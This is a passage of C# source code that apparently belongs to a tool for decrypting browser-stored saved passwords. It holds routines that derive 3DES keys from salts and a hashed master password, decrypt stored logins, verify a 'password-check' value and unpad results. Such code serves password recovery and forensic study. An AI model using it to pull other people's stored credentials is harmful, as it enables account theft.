msg=paddedEntrySalt+entrySalt) 239 | byte[] firstHalf = new byte[paddedEntrySalt.Length + entrySalt.Length]; 240 | Buffer.BlockCopy(paddedEntrySalt, 0, firstHalf, 0, paddedEntrySalt.Length); 241 | Buffer.BlockCopy(entrySalt, 0, firstHalf, paddedEntrySalt.Length, entrySalt.Length); 242 | 243 | //Create TK = HMAC-SHA1(combinedHashedPassword, paddedEntrySalt) 244 | keyFirstHalf = hmac.ComputeHash(firstHalf); 245 | byte[] tk = hmac.ComputeHash(paddedEntrySalt); 246 | 247 | //Second half of EDE key = HMAC-SHA1(combinedHashedPassword, tk + entrySalt) 248 | byte[] secondHalf = new byte[tk.Length + entrySalt.Length]; 249 | Buffer.BlockCopy(tk, 0, secondHalf, 0, entrySalt.Length); 250 | Buffer.BlockCopy(entrySalt, 0, secondHalf, tk.Length, entrySalt.Length); 251 | 252 | keySecondHalf = hmac.ComputeHash(secondHalf); 253 | 254 | //Join first and second halves of EDE key 255 | byte[] tempKey = new byte[keyFirstHalf.Length + keySecondHalf.Length]; 256 | Buffer.BlockCopy(keyFirstHalf, 0, tempKey, 0, keyFirstHalf.Length); 257 | Buffer.BlockCopy(keySecondHalf, 0, tempKey, keyFirstHalf.Length, keySecondHalf.Length); 258 | 259 | edeKey = tempKey; 260 | } 261 | 262 | byte[] key = new byte[24]; 263 | byte[] iv = new byte[8]; 264 | 265 | //Extract 3DES encryption key from first 24 bytes of EDE key 266 | Buffer.BlockCopy(edeKey, 0, key, 0, 24); 267 | 268 | //Extract initialization vector from last 8 bytes of EDE key 269 | Buffer.BlockCopy(edeKey, (edeKey.Length - 8), iv, 0, 8); 270 | 271 | using (TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider 272 | { 273 | Key = key, 274 | IV = iv, 275 | Mode = CipherMode.CBC, 276 | Padding = PaddingMode.None 277 | }) 278 | { 279 | ICryptoTransform cryptoTransform = tripleDES.CreateDecryptor(); 280 | decryptedResult = cryptoTransform.TransformFinalBlock(cipherText, 0, cipherText.Length); 281 | } 282 | } 283 | catch (Exception e) 284 | { 285 | Console.WriteLine($"Exception {e}"); 286 | decryptedResult = null; 287 | } 288 | Console.ResetColor(); 289 | return decryptedResult; 290 | } 291 | 292 | public static byte[] Decrypt3DESLogins(byte[] cipherText, byte[] iv, byte[] key) 293 | { 294 | byte[] decryptedResult = new byte[cipherText.Length]; 295 | 296 | try 297 | { 298 | using (TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider 299 | { 300 | Key = key, 301 | IV = iv, 302 | Mode = CipherMode.CBC, 303 | Padding = PaddingMode.None 304 | }) 305 | { 306 | ICryptoTransform cryptoTransform = tripleDES.CreateDecryptor(); 307 | decryptedResult = cryptoTransform.TransformFinalBlock(cipherText, 0, cipherText.Length); 308 | } 309 | } 310 | catch (Exception e) 311 | { 312 | Console.ForegroundColor = ConsoleColor.Red; 313 | Console.WriteLine($"[-] {e.Message}"); 314 | Console.ResetColor(); 315 | } 316 | return decryptedResult; 317 | } 318 | 319 | public static bool PasswordCheck(byte[] passwordCheck) 320 | { 321 | //checkValue = "password-check\x02\x02" 322 | byte[] checkValue = new byte[] { 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2d, 0x63, 0x68, 0x65, 0x63, 0x6b, 0x02, 0x02 }; 323 | 324 | if (passwordCheck.SequenceEqual(checkValue)) 325 | { 326 | Console.ForegroundColor = ConsoleColor.Green; 327 | Console.WriteLine("[+] Password Check success!"); 328 | Console.ResetColor(); 329 | 330 | return true; 331 | } 332 | else 333 | { 334 | Console.ForegroundColor = ConsoleColor.Red; 335 | Console.WriteLine("[-] Password Check Fail..."); 336 | Console.ResetColor(); 337 | 338 | return false; 339 | } 340 | } 341 | 342 | public byte[] Unpad(byte[] key) 343 | { 344 | bool paddingCheck = true; 345 | 346 | //Check integer value of last byte of array 347 | int paddingValue = key[key.Length - 1]; 348 | byte[] unpadded = new byte[key.Length - paddingValue]; 349 | 350 | //Check last n bytes of key for equality where n = integer value of last byte 351 | for (int i = 1; i < (paddingValue + 1); i++) 352 | { 353 | if (!(key[key.Length - i] == paddingValue)) 354 | { 355 | Console.ForegroundColor = ConsoleColor.Red; 356 | Console.WriteLine($"[-] Unpad() Error: Incorrect or Nil padding applied to byte array:\n{BitConverter.ToString(key)}"); 357 | Console.ResetColor(); 358 | //Throw exception here 359 | paddingCheck = false; 360 | } 361 | } 362 | 363 | if (paddingCheck) 364 | { 365 | //Create new bytearray with trailing padding bytes removed 366 | Buffer.BlockCopy(key, 0, unpadded, 0, unpadded.Length); 367 | } 368 | 369 | return unpadded; 370 | } 371 | } 372 | } 373 | --------------------------------------------------------------------------------